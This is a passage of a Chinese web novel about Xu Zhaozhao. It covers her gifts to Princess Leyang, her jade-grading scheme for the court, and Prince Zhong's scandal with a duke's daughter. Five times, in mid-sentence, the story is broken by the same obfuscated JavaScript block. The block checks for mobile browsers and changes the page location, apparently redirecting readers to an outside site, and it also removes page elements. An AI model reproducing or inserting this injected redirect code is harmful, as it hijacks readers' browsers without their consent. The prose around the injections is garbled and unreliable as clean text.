乐阳郡主即将大婚,这可是大喜事。 以乐阳郡主和许昭昭的关系,自然是要送上大礼的。 出阁前一日,不少女眷们都过来陪着齐王妃和乐阳郡主说说话。 许昭昭自然也不例外。 忠王妃赵月也来了,她和许昭昭的关系,可以说是亦敌亦友。 因为许昭昭曾帮过她,但是许家明显又不站队,所以,赵月对她的态度就是一种公事公办的样子。 对此,许昭昭自然是没有什么意见。 谁让人家是王妃呢! 这样的场合,姜宁一个妾室是不方便露面的。 但姜家人也会来。 比如说姜延辉的妻子。 姜文祥因为姜延辉的回归,如今也入仕为官了,先前因为受父亲的影响,所以一直愁眉不展。 谁能想到,没过多久,姜延辉就能立功回来呢! 如今姜延辉的妻子宋氏,也算是风头正盛。 虽说姜延辉如今只得了一个闲差,但好歹又恢复了官身,最重要的是,儿子姜文祥终于可以在官场上大展身手了。 于宋氏而言,儿子才是最重要的。 宋氏一转头便看到了许昭昭,小声同身边的夫人议论:“都知道许昭昭与郡主关系好,也不知道她会为郡主添些什么嫁妆。” “这可说不好。谁不知道安乐县主有钱呀!指不定就能直接给添上几箱子铜钱呢。” 话音未落,周围便是嗤笑声一片。 这是在讽刺许昭昭一介贵女,竟是沾得满身铜臭,也不知避嫌! 总而言之,许昭昭在有些人眼里,是既恨她有钱,又笑话她一身铜臭,十足的羡慕嫉妒恨呀。 许昭昭也不恼,反正银钱是自己的,嘴巴长在别人身上,爱说什么说什么去吧。 乐阳郡主看到她过来,自然是欢喜得将人迎进屋里,拉着她说悄悄话。 “如今你大婚,我这个知交好友,总要送上一份令你心仪的礼物才是。” “快拿出来给我瞧瞧。” 许昭昭笑话她:“你现在这样子,可不像贵女。” “不像便不像。在你面前,还有什么好遮掩的!” 这是丝毫不把她当外人。 许昭昭笑着将一个小匣子递给她,这是进屋前,芍药递过来的。 “这是什么?” “崔述是武将,无论是在京城,还是去了战场上,与其打交道的必然都皆是一些莽人,兴许会有恶匪。这一瓶子药,是我用孙神仙给的方子配的,用了一些特殊的手法保存。一个瓶子里只有三粒药丸,总共是三瓶。只要这瓶子不打开,药效可保存三年之久。若是一旦打开了,一个月内必须将药用了,否则便失了药效。” “这是什么药?” 乐阳郡主倒是没有嫌弃,只是单纯得好奇。 “只要脑袋还在,心脏没有被人挖出来,先服一粒,可保命。十二时辰之后再服一粒,可控制伤势恶化,最后一粒,三日后服用,可保性命无忧。” 如此珍贵的药丸,乐阳郡主都有些不敢接了。 “此等良药,怕是耗费了不少的名贵药材吧?” 乐阳郡主明白,这药说是可以助人起死回生,也不为过了。 况且孙神仙的大名,她是知道的。 而且上次北征,崔述也曾受伤,但是用了谢铮给的药,恢复得很快,明显比其它的药都更有效,这一点,崔述都跟她说了。 “昭昭,谢谢你。这份大礼我收下了,我也代崔述谢谢你。” “谢什么!我宁愿你们一辈子用不到这种药。” 乐阳郡主满脸感动得正要说几句煽情话呢,一听这句,立马又没了情绪。 “这药只是其中一样。你再看看底下的。” 乐阳郡主将三个小药瓶取出来,底下压着几张纸。 乐阳郡主能隐约看到上面有红色印鉴的样子。 不会是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491745|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她想的那样吧? 乐阳郡主一打开,便看到了房契。 “我在蓝田县打造的那个云栖小镇,你也是知道的,我看你的药材生意做得不错,日后那里定然还会有更多的商人往来,我觉得你先前买的院子小了些,所以把旁边的房契也带来送你了。” 乐阳郡主顿时星星眼。 “哎呀,还是我的昭昭好!” 许昭昭被她抱着,眼眶泛热。 其实跟那三瓶药丸比起来,一处蓝田县效外的宅子又算得了什么? 可是这么多人,只有许昭昭送的都是她最喜欢,也最想要的。 自打和许昭昭一起做生意开始,乐阳郡主就越发地觉得女人自己手里有钱了,才能更有底气。 至于身份地位,那是加持。 况且她们这样的人,又不必亲自去谈买卖,所以,谁会嫌钱多呢? “好了,快松开,一会儿我的妆都让你给弄花了。” 乐阳郡主扑哧一笑,松开后,瞪着她:“就给你弄花,没事打扮这么好看做什么,你家三郎也舍得让你这样美美得出来?” 许昭昭顿时眼睛一竖,两人便打闹起来。 乐阳郡主大婚,按礼部那边给出的章程,自然是气派又热闹的。 身份在这里摆着呢,不是有钱就可以越得过去的。 崔述和谢铮的关系不错,他成婚,谢铮送了一方新打造的马槊,或许是知道他缺钱,所以还给他塞了一张大兴银号的飞钱。 崔述一看上面竟然是五百贯,可把他给乐坏了。 这在京城都可以买处小宅院了。 “还得是咱们兄弟呀!知道急我所急!” 崔述家里地位尊祟,但是银钱上并不算是多宽裕。 一些固定的田产、商铺自然是有,但是因为多年来经营不善,再加上一个庞大的越国公府还要养着一些族亲和一些残兵遗孤等等,开销可不少呢。 近十年来,可以说是勉强能维持一些体面。 当然,越国公府家的库房里好东西不少,但这都是些死物,可以拿来送礼,却不能去典当的。 身为世家贵族,各家有各家的不易呀! 第373章 永安帝可太满意了! 乐阳郡主和崔越国公世子崔述的婚事自然是倍受瞩目。 成婚当日,陛下还派了身边的大总管来传旨,并且送上了好几箱子的赏赐,以此来彰显他对越国公的信重。 看到这样盛大的婚事,不免又会让人想到去年许昭昭和谢铮的婚事,虽不及郡主的排扬大,但也同样是让人们津津乐道了好久。 姜家人坐在宴席上,心情格外不舒服。 若是姜宁没有作妖,那她是有资格嫁入公府做正妻的,若是她安分一些,再由太傅和贵妃运作,她嫁一位亲王做正妻也是有可能的。 可偏偏,如今却只成了一名小妾。 而姜芙早已经没了。 姜宁自甘为妾的举动,显然是给姜氏女都蒙上了一层灰,但凡是好名声的人家,都不愿意再与姜家结亲。 如今,姜愿的年纪也不小了,但是婚事迟迟未能定下,便是因为有姜芙和姜宁两个例子在这里摆着,才无人敢娶。 姜芙被人指责为不安于室,姜宁是自甘为妾,总之,都不是什么好名声。 姜愿原本就非长房之女,先是经过一次父亲被贬的打击,之后又是堂姐出事,如今她的婚事,真是成了一大难题。 当初如果不是许昭昭出手,付沛就有可能被逼着娶了姜愿为妻了。 如今姜愿的婚事,其实比谢家的两位庶女还要更难一些。 姜家二夫人坐在这里,心内五味陈杂,更多的,还是恨意。 凭什么好处都让长房的人占了,最后这不幸的结果要让二房来承担呢? 但一想到姜太傅和宫中的姜贵妃,宋氏有再多的怨气也得憋回去。 许昭昭抽空进宫一趟,借着谢争的手,将自己给陛下备的那份儿厚礼送上去了。 永安帝的确是不在意一个月的百文钱,但是他在意的是下面人的一个态度。 他可以不要,可以不屑,但是下面的人得懂事儿! 显然,许昭昭就属于懂事儿而且还不会给他惹麻烦的那一种人。 永安帝看了许昭昭写的策划书,对于这上面所写,倒是很期待。 “昭昭这字,倒是有所进益。” 谢铮闻言笑道:“内子自婚后,便一直勤练书法,还说之前陛下曾笑话她的字丑,她这是憋着一股劲儿,想要向您证明,她是可以写好的。” 永安帝爽朗大笑:“这个昭昭呀!成婚了,这性子也还是跟小孩子一样。你是武将,但并非粗人,朕知道你文武兼备,也不与绕弯子。昭昭虽不是朕的女儿,但朕待她就如同自己家的小辈一样,你可不能欺负她,否则莫说是你岳丈,便是朕也不答应!” 谢铮连忙拱手行礼:“微臣不敢。” “嗯,不敢就好!昭昭这性子看似稳重,实则是有些跳脱的,到底是年纪小,你多包容她。” “是,微臣明白。” 永安帝最满意的,不是许昭昭送上的这份策划书,而是上面的署名是她自己,而非谢铮。 许昭昭只是借着谢铮的手给送过来,却并没有把这份功劳推到谢铮头上,这一点,是永安帝最喜欢的。 毕竟谢铮是武将,而且同龄人中,他已然是佼佼者了,功劳太多,并非好事。 永安帝看的是整个大兴,脑子里想的是所有臣子,不能因为自己的喜恶便去升贬官员,这非明君所为。 眼下,许昭昭很识趣,她送来的东西,与谢铮无关,那么永安帝后续想要如何赏赐,便可随意了。 说到底,许昭昭只是一名女眷,不是朝中重臣,所以怎么赏,都不过分。 谢铮是看过那份策划书的,说实话,他是真没想到许昭昭会这么大胆。 关键是谁能想到,一个云栖小镇竟然还能有这么大的作用呢? “你看过这东西了?” “回陛下,看过了。” “嗯,你是怎么想的?” 谢铮犹豫一瞬,还是老老实实回答道:“回陛下,反正臣是没想过这一层的。不过蓝田县向来以美玉出名,而且如今也的的确确是有几处矿山,其中还有一处是归国库所有。若是此事成真,那必然是于我大兴有利。” 永安帝点头,深以为然。 云栖小镇现在入住的商户并不多,但是那里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491746|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离官道很近,南来北往的商贩们会经过,所以停留下来,吃吃饭、住个店,再观赏一下美玉,然后起心思直接将美玉带走的可能性的确是相当大。 依托于玉矿,从而大力地发展一下玉石产业,这的确是一个可行的法子。 只是蓝田县的玉矿大多数都是私人的,而且许昭昭也言明,先前陛下封赏给她的那座山里也发现了玉矿。 朝廷要监管玉石产业,也并非是现在才有人提及。 事实上,永安帝也早就有过这个想法。 大兴对于铁器是有严格管控的,但是对于盐,还是相对较为宽松的。 正是因为如此,所以盐价并不高,普通老百姓们也都能吃得起雪盐。 可是因为不曾将盐的制售权收归国有,所以国库才会空虚。 许昭昭给出的这个策略很聪明。 因为玉石的买家都是富贵人家,普通老百姓饭都吃不饱,谁会闲得去买玉? 所以,许昭昭这是想要从富人手里赚钱,而且还不忘给国家交上重税! 之前户部不是没有人提出过可以从玉矿入手,但是一直没能找到切实可行的办法。 现在嘛,这法子不就送上来了? “你且去吧,哦,先将户部尚书给朕叫过来。” “是,陛下。” 顾东阳那边还在骂人呢,得知陛下传召,自然不敢怠慢,火急火燎地就往太极殿赶。 “微臣见过陛下。” “免礼,顾尚书,你过来看看这个。” 顾东阳一脸好奇,这是什么东西,竟然能让陛下心情这般愉悦? 哪里的粮食丰收了? 不对,季节还没到呢。 但是陛下那怎么都压不下去的嘴角,显然是心情极好。 顾东阳看过之后,瞪大双眼,一脸震惊:“这,这简直就是位奇才呀!陛下,不知是何人所写?” 顾东阳看到的只是前面几页,上面并没有许昭昭的落款,所以他才好奇一问。 永安帝笑道:“是何人想的不重要,重要的是,顾尚书以为此策可行否?” 第374章 等级鉴定 顾东阳实在是没忍住,哈哈乐起来了。 “哎呀,实在是高!陛下,咱们之前怎么没想出这样的招呢?给玉石定等级,而且还只能是由朝廷派出专门的匠人联合几个玉石大家族来给玉石定级,这简直就是太好了! 到时候没有咱们朝廷发的鉴定证明,没有朝廷的盖章,那这些东西就没有办法出关,也不可能在我大兴境内任何的金银楼内售卖,哈哈,微臣想想就乐呀!” “朕也觉得可行。既然顾爱卿觉得没问题,那就这么定了。你回去再找工部那边的人商量一下,然后再拟个具体的章程出来。” “是,陛下。” 工部是有各行各业的顶尖匠人的。 这个不难找。 “另外,朕已经决定了,这玉石鉴定衙门的总部就设在蓝田县。毕竟蓝田产玉,而且还很有名气。如此一来,既能招揽一些商人,还能就近解决一些问题。” “陛下圣明!” “至于以后,其它地方若是再设鉴定衙门,也就最好是在玉矿的附近。还有,那些胡商们带来的玉石珠宝,都要先拿到鉴定衙门去做鉴定,之后拿到具体的证明,才能在我大兴境内售卖,否则,便是触犯我大兴律令。” “是,陛下。咝,只是这具体的证明,当如何出呢?” 永安帝笑笑,顾东阳这反应的确是迅速,寻常人可不会立马就想到这一层。 毕竟玉石珠宝,模样大多相似,而且有些胡商可能直接带着满满一大箱子的珠宝过来,所以这要怎么证明? 这个简单呀! 许昭昭既然敢给出这种招,自然也就想到这一点了。 “你再看看这个。” 顾东阳半信半疑地接过来,脑子里却觉得这种东西不好弄。 总不能一块一块的出证明吧? 另一边,谢铮就先去当值了,而许昭昭则是大概半个时辰后出宫回家。 等谢铮下值回到家里,正好看到许昭昭又在开始写明细了。 谢铮之前看过关于玉石鉴定的那些想法,但是没想到真能让他媳妇给弄出来。 “回来了?陛下可有问什么,说什么?” “陛下问了。” 谢铮就把陛下问的几个问题都重复了一遍,对此,许昭昭也是早就预料到的。 “也不知顾尚书那里会如何修改那些细则,我还是得再想想,免得到时候再被打个措手不及。” 谢铮笑了:“应该不会。至少,陛下已经明确下令,这鉴定衙门,就设在蓝田县的云栖小镇了。” “是吗?你确定?” “嗯,不过具体的相关事宜,估计还要再等一等。其实我也很好奇。你说的那些胡商带过来的珠宝玉石,我倒是可以理解,到时候统一验货,然后出具一张证明或者是几张等级证明即可,但是咱们自己的玉石,要如何出证明呢?” 许昭昭轻笑:“这有何难?自己家的玉矿,可以先鉴定原石,之后再鉴定成品。” “什么意思?” 这一部分是许昭昭今天早上起来才想到后补上的,所以谢铮没来得及看。 许昭昭耐心十足地为他解惑。 “比如说咱们自己家的玉矿,若是没有自己家的玉石作坊,那么便要将原石卖出去。那就找到鉴定衙门,出具相关证明后,直接卖给下家。 等到下家自己做出成品来,便带到鉴定衙门那里再一一出具证明,无论是首饰,还是切割好的宝石,都是可以的。而且因为他们手里有之前的那份原石证明,所以再做鉴定的时候,也会更方便一些。” “但若是如此,那鉴定衙门的活可不少,这得要多少人,多少双眼睛呀!” “其实也没有那么难,我不是在策划里面写了,可以邀请几个玉石家族里的人也派出行家加入其中,届时那些人还能领着朝廷的俸禄,同时又能为自己的家族出一份力,何乐而不为?” 谢铮一愣,好像是这么个道理。 但他还是觉得这种事情做起来太麻烦了。 “若是项链,当如何鉴定?” “简单!由画师将首饰画下来,若是东西合格定级后,再命匠人在那首饰的背面或者是其它地方打个标 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498363|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记,比如说特殊编号之类的。当然,这就需要让顾尚书去头疼了,我可没有那个心思去弄。” 谢铮听得目瞪口呆。 还可以这样? 他眼珠子转动几下后,竟然呆呆地点点头,好像真的是可行之策。 而且大兴的玉矿其实并不多,且比较集中,所以这种鉴定衙门,其实也不需要开设太多,倒是很不错的法子。 而且鉴定衙门那里会给玉石等级定出标准,然后玉石的售卖价格,也会因为等级的不同而有差异。 如此一来,也能让一些不懂珠宝的人,少上当受骗。 朝廷有了这鉴定衙门,自然是又多了一项收入,就算是收费不高,但是积少成多,一年下来,这衙门定然能给国库上缴不少银钱。 啧,他果然是娶了一个点金小能手回来。 不仅能给自己家聚财,还能帮着朝廷解决一些麻烦,实在是厉害! 这么一瞬间,谢铮觉得自己好像配不上许昭昭了呢。 谢铮略有几分心虚地摸摸鼻尖:“昭昭,你是打算也弄个玉石作坊吗?” 许昭昭不确定地摇摇头:“谁知道呢!如果找不到行家,那就只能放弃这块肥肉了。说实话,玉石珠宝的利润太大了。你想都不敢想的。不过就算是我做不了首饰,但我最起码能卖原石,这也不亏。” 当然不亏。 你这原石是直接从山里挖出来,相当于无本的买卖,你是源头,也就是最挣钱的了! 谢铮有些担心:“此事我们都要守口如瓶,之后谁也莫要再提。” 许昭昭明白他是在为自己担心。 她这样的举动,定然会损害到某些人的利益。 但是那又如何? 许昭昭丝毫不觉得自己做的有错。 要知道这玉石的价格,懂行和不懂行的人去买,那价格可能会差几倍,十几倍,甚至是几十倍! 说到底,就是欺负外行人不懂,好忽悠,就算是买家上当了,还没有说理的地方。 毕竟有句话说的好,黄金有价,玉无价呀! 第375章 随手就能翻几番 许昭昭等的就是这个时机。 只要朝廷的鉴定衙门正式投入使用,那么属于云栖小镇的商机才算是真正到来。 大兴的玉矿,八成以上都掌握在一些世家贵族手上。 永安帝不是没想过从中做些什么,但是实在找不到机会,而且因为这些是私产,或者是祖产,所以朝廷也没有办法强行收归国有,否则要被人指着鼻子骂的。 但是现在有这个鉴定等级的说法,那就有意思了。 朝廷在这一块便能插上手。 说句不好听的,只要运作得当,那么,朝廷就可以对玉石出限价令。 比如说,朝廷划分等级后,可明文规定相应等级的玉石售卖价格在什么区间,又或者是其最高价值。 如此一来,那些世家贵族以往凭借这玉矿所赚的钱财自然就少了。 不是他们可以漫天要价了。 以前若是挖出一块玉石来,主家自然是要把这价格抬到最高,这样才能让他得到最大的利益。 可是有了这个等级鉴定就不一样了。 这些玉矿虽然仍然是掌握在那些世家贵族手上,但是他们的利润会大幅下滑,而朝廷反而还能凭借此举多了一项收入。 所以,看似朝廷并未插手他们的私产,但实际上,却是开始插手了整个玉石珠宝行业。 以往朝廷对于这些奢侈之物,几乎是没有任何发言权的,但是现在不一样了。 这条律法一出后,朝廷才是真正掌控这个行业的最大决策者。 这才对嘛! 不能让那些人漫天要价。 许昭昭是知道的,以前谢铮和许翰他们为什么特别执着于从关外带玉石珠宝回来,就是因为大兴境内的珠宝太贵了。 而他们在战场上所得,可以光明正大地收入腰包。 就算是没有战利品,他们也可以在关外和那些胡人交易,总比在关内的一些金银楼里买得要便宜多了。 说句不中听的,同样的钱,谢铮可以从关外弄回来一箱子的宝石,但是在京城的金银楼里,可能就只能买一小匣子宝石,若是打造好的首饰,可能就只够买一两件。 这个差价,就太明显了! 朝廷此举,明显就能打破某几家世家贵族对于玉石珠宝的垄断。 更重要的是,对于一些玉石商人来说,这税收可不好再瞒报了哦…… 于朝廷而言,百利而无一害! 于永安帝而言,这又是他的一大功绩,一旦事成,成就感满满,这必然是要载入史册的! 许昭昭提交的策划书,只是将可行性和有可能遇到的一些问题陈列出来,能解决的,许昭昭将大致方向都写出来了,但是具体如何操作,那她就不管了。 也就是说,许昭昭给出来的,并没有详细的执行细则。 写的只是一个大概,甚至有些地方还写得含糊不清。 越是这样,越是能让人相信,这只是许昭昭临时起意弄出来的。 如果把一些细则都写明白了,那不等于是告诉陛下,许昭昭有多妖孽了吗? 这种事,让先帝和永安帝都愁了多少年,一直没招。 现在就这么轻而易举地被一个女人给解决了,这不是倒反天罡嘛! 所以,许昭昭不能写得太明白。 如此一来,日后陛下就算是想起这回事,也不会将太多的注意力放在她这个当初的谏议者身上,更大的功劳,只会算到顾尚书、付沛等人身上去。 不错,自己可以完美隐身了。 许昭昭找人去试探过了,目前为止,这个计划,并没有人知道是她提出来的。 所以,时日久了,陛下还会再去翻那份策划书吗? 许昭昭笑得有些狡黠,给自己留后手这事儿,她向来做的谨慎又周到。 如果等过几年,陛下发现自己在那上面的署名没了,也不知道会不会生气哦。 生气就生气吧,反正责任也归不到自己身上。 许昭昭早在送上这份策划书之前,就已经又找蓝田县衙,拿下了两百多亩的荒地。 正好就紧邻已经建得初有规模的云栖小镇。 这里,正好就把鉴定衙门建起来,再给自己家弄个玉石加工坊,嗯,不错。如果还有其它人想要,顺便转手一卖,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498364|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一块空地,转手就能赚几番。 果然,等到朝廷有这个风声透出来的时候,赵家、曲家便都有人登门了。 只是蓝田县的一块地,还不值当得让两家的主事人出面。 办事的,都是底下的管事。 许昭昭这边自然是由许川出面的。 他是许昭昭的族兄,这身份上足够了。 按照先前许昭昭的吩咐,再加上许川的三寸不烂之舌,四十亩的荒地,啥也没有动,只是在手里搁了不到一个月,转手就以高出当初价格四倍的价钱给卖出去了。 赚钱就是这么容易! 许川自己也懵呀。 这叫什么事? 如果不是因为跟着许昭昭,他哪里能知道,生意还能这么做? 许川也不傻,早在弄这个小镇的时候,自己就把家里所有家当都拿上,然后在这里买下了一处小一些的铺面,现在已经开始准备做一间茶铺了。 当然,许川自己不会来经营这里,只是交给了妻弟来负责,小舅子老实,他也信得过。 况且有他在这里呢,到处都是县主的眼线,相信也没人敢在这里乱来。 许昭昭翻了一下账本,再看到摆在眼前的十几个大箱子,微微点头。 “辛苦兄长了。” “不敢当,这都是我应该做的。按你之前的吩咐,给赵家和曲家各划了二十亩地过去,价格翻了四倍。他们已经开始量地,并且准备建房子了。” 许昭昭点头:“都是千年的狐狸,跟我玩儿什么聊斋呀!这是以为我不知道这么大的消息呢。呵呵,只怕你高价卖给他们,他们还得在那里乐呵呵地夸你是好人呢。” 许川表情微僵,随即点头:“还真是如此。” 许川并不知道关于玉石鉴定的事,但是也从中察觉到不对劲,眼下又见许昭昭是这个反应,便知道一切都在她掌握之中。 “县主是早有预料?” 许昭昭笑笑:“今年只怕是要让兄长辛苦一些了。玉矿既然已经开始开采,后面还要弄玉石坊,兄长可以再多培养出几个年轻人来,最要紧的是,这人品要可靠。” 第376章 喜事 任何时候,管钱的都必须得是自己人,这一点,许昭昭一直都很坚持。 许川做得很好,许昭昭觉得还可以再从许氏家族里挑几个老实肯干的。 不是许昭昭不愿意用谢家人,只是她自己的产业,最好还是和谢氏家族的产业划分开来,这样以后万一遇到什么事,也好处理。 谢铮手上的产业,虽然都是以前宋氏的嫁妆,但许昭昭现在也只是让之前的人好生经营,她尽量不插手。 许昭昭这天刚刚起来,身边的床铺早就凉了,谢铮应该是一大早就进宫换值了。 “主子,大喜呀!” 许昭昭扭头,是海棠进来禀事,一脸喜气。 “瞧你笑得那脸上都要开出花来了,说说吧,什么喜事?” “回主子,是侯府那边儿一大早就派人过来送信儿,说是三少夫人有喜了,已经满三个月,下个月四公子的婚期就到了,这可是双喜临门。” “哦?我三嫂有喜了?这的确是好事!对了,四哥的婚期将至,快,咱们先去一下库房,一定要给四哥选几样好东西送过去。” “主子别急,您先用早膳。世子可是一早就吩咐了,一定要给您炖上红枣燕窝,说是给您补补。” 许昭昭的脸蹭一下子变红,嗔瞪一眼过去,海棠笑嘻嘻地去喊人摆膳了。 许昭昭在私库里选了好一通,最终给三嫂选了一大堆的补品,顺带着又翻出来两匹上好的绸缎,打算带回去给小老虎和二嫂家即将出生的小娃娃做小衣裳。 至于四哥那里,许昭昭选了一套文房四宝,又带上两匹大红绢帛,正好回去可以给四哥成亲用。 许昭昭回娘家一趟,自然就被拉着不让走,当天中午就在侯府用的午膳,之后就和王若兰一起到紫园小憩。 说是小憩,娘儿俩躺在床上,有一句没一句地闲聊着,说着说着话,许昭昭就睡着了。 王若兰看她一眼,轻轻叹气,眉眼间分明就带着几分愁意,但没一会儿,也睡着了。 许昭昭睡了不到半个时辰,再醒过来的时候,王若兰早就在外间坐着喝茶了。 “醒了?快去简单梳洗一下。” 许昭昭眼睛还没有完全睁开,脑子也有点儿懵,糊里糊涂地被人服侍着梳洗后,便过来坐下喝茶。 “昭昭呀,你三嫂都有喜了,你这里,还要再等多久?” 许昭昭还以为是什么事儿,所以无所谓道:“母亲急什么,不是什么大事。况且如今三嫂也有喜了,您还是多关心一下二嫂三嫂吧。” 王若兰没好气地戳她额头一下子:“你这个丫头,真不让人省心!别一门心思只想着赚钱,还是要多在子嗣上花些心思。” 许昭昭想到上回自己明明都把话说清楚了,怎么母亲现在又旧事重提? “可是外面有什么闲话了?” 王若兰叹气:“是呀。外面的确是有一些不太好的话,无非就是说你不能生养,这眼瞅着成亲都大半年了,肚子还一直没动静。” 许昭昭轻嗤一声:“我还以为是什么大事呢。我成亲还不到一年呢,急什么?再说了,这么关心我的人,十有**也不是什么好人。” 许昭昭当然不是指自己的亲人,这是觉得有人在外面故意散播她的谣言呢。 跟她不对付的,也就是那么几家。 如果她没猜错,十有**又跟姜宁脱不了关系。 这个姜宁,哪怕是人困在内宅,还这么不老实。 看来,这回真得给她些教训才能让她消停下来了。 忠王在姜宁身上的耐心其实已经没多少了。 现在姜家对忠王的支持并不是那么明显,忠王也明白,他的出身就是大缺陷,只要还有嫡子在,姜家就不会真地明目张胆地支持他,这主要就是跟特意注重礼教的姜太傅有关。 若是姜太傅舍安王而扶持他,那姜太傅先前所谓的嫡庶之别的论调便成了一个笑话! 所以,姜家现在能在暗中给些支持,就已经不错了。 忠王近来一直郁郁不得志,朝堂上的剑雨腥风,自然不是想躲便能躲开的。 而且近来陛下明显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505002|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更偏爱安王一些,这更让忠王心情低落,甚至还有几分委屈。 他觉得自己才华不输安王,只是在出身上吃了大亏。 那个位置,若是让他就这样拱手相让,他又岂能甘心? 男人心情不畅之时,自然便想着醉酒解千愁。 芙蓉楼内,忠王喝得晕晕乎乎,正好又看到美人红袖轻舞,哪里还能忍得住? 当天晚上,忠王半夜才回府,而且还带回来一名美人。 赵月得知之后,也只是淡淡地吩咐一句:“先小心伺候着,等明日王爷酒醒了再说。” “是,王妃。” 忠王的确是宠幸了一位美人儿,在芙蓉楼里遇到的,忠王还以为是什么伶人或者是平民百姓,结果等他酒醒后,才发现事情与他所想的大相径庭。 赵月已经满面寒霜地坐在厅内,忠王也意识到自己昨夜不妥之处,连忙过来主动搭话,自然又小心地赔个不是,再轻声细语哄几句。 “王爷,您现在不必哄我。还是先想想如何安置昨夜的美人吧。” “嗯?不就是一个伶人?王妃看着安置便好。” 赵月看他的眼神里透着几分古怪:“王爷竟不知昨夜宠幸了何人?” 忠王一看她这表情,大概猜到可能事情与自己猜想有异。 “不是芙蓉楼的伶人吗?” 赵月无奈地叹口气:“去,将那位姑娘带过来。” “是,王妃。” 女子如今已经梳妆打扮好,只是两眼红肿,显然是受了委屈。 忠王上下打量几眼,也没能认出来。 还是赵月好心解释道:“她是肃国公府的庶女,是刘佳佳的庶姐,名唤刘莹,年方十八,昨日奉命去芙蓉楼给肃国公送东西,结果意外被你拽进了屋内。” 忠王一时间不知道应该说什么了。 怎么就这么巧? 肃国公的庶女? 忠王也不是傻子。 “那么晚了,肃国公怎么会让她去送东西?难道国公府里没有下人了吗?” 第377章 自作孽呀! 刘莹当然不可能无缘无故地出现在那里,她是国公一个不受宠的小妾生的,说句不好听的,估计她站在肃国公面前,那位爷都不一定能认出来这是自己的女儿。 从小到大,这刘莹就没见过肃国公几回! 一些重要场合,庶女本就不能往前凑,更何况刘莹的生母还不受宠? 刘宝穿戴的本就差一些,还不及国公府里头得意的丫环婆子们好。 所以,当时国公夫人安排人去送东西的时候,底下人也不认得刘莹,上去就把东西塞给刘莹,让她去送了。 这事儿一查就能查出来,简单、明白。 所以,刘莹的的确确就是被派去送东西的。 这谁能想到呀? 忠王妃到肃国公府的时候,肃国公和夫人宋婉仪两人还在那里喝茶闲聊呢,哪能想到,自己家丢了个闺女,这做父母的竟然都不知道! 这传出去简直就是个笑话! 肃国公的脸当场就变了。 宋婉仪更是尴尬地想找个地缝钻进去。 不管怎么说,刘莹是庶女,宋婉仪是国公夫人,正经的一府主母呀。 现在她的庶女丢了一晚上,她竟然都不知道? 更离谱的是,还是被府上的仆从给派出去的? 这说出去谁信? 都是勋贵世家的,谁家再怎么苛待庶子庶女,也没听说哪家会把庶子庶女当成下人使唤呀,关键还是下等的下人,这也太丢脸了! 赵月过来一趟,自然也不是为了让两家关系恶化。 况且不过就是肃国公府的一个庶女,既然进了忠王府,那就是忠王府的人了,她身为王妃,该走的流程还是要走的。 事情到这一步,宋婉仪再厌恶刘莹,也不能欺负她,更不能丢了肃国公府的面子。 所以,刘莹暂时被安置回了自己院子,双方说定,明天晚上,忠王府会派人来接。 留出两天的空子,其实就是为了让肃国公府准备一下,总不能真地就让刘莹一个光杆儿似的嫁过去吧? 因为只是一介庶女,所以忠王能给刘莹的身份,就只能是一个媵侍。 别小看只是媵侍,这也不简单呢,而且身为亲王,最多只能有十个媵侍,再往下就是普通的侍妾了。 这次实在是太丢脸了。 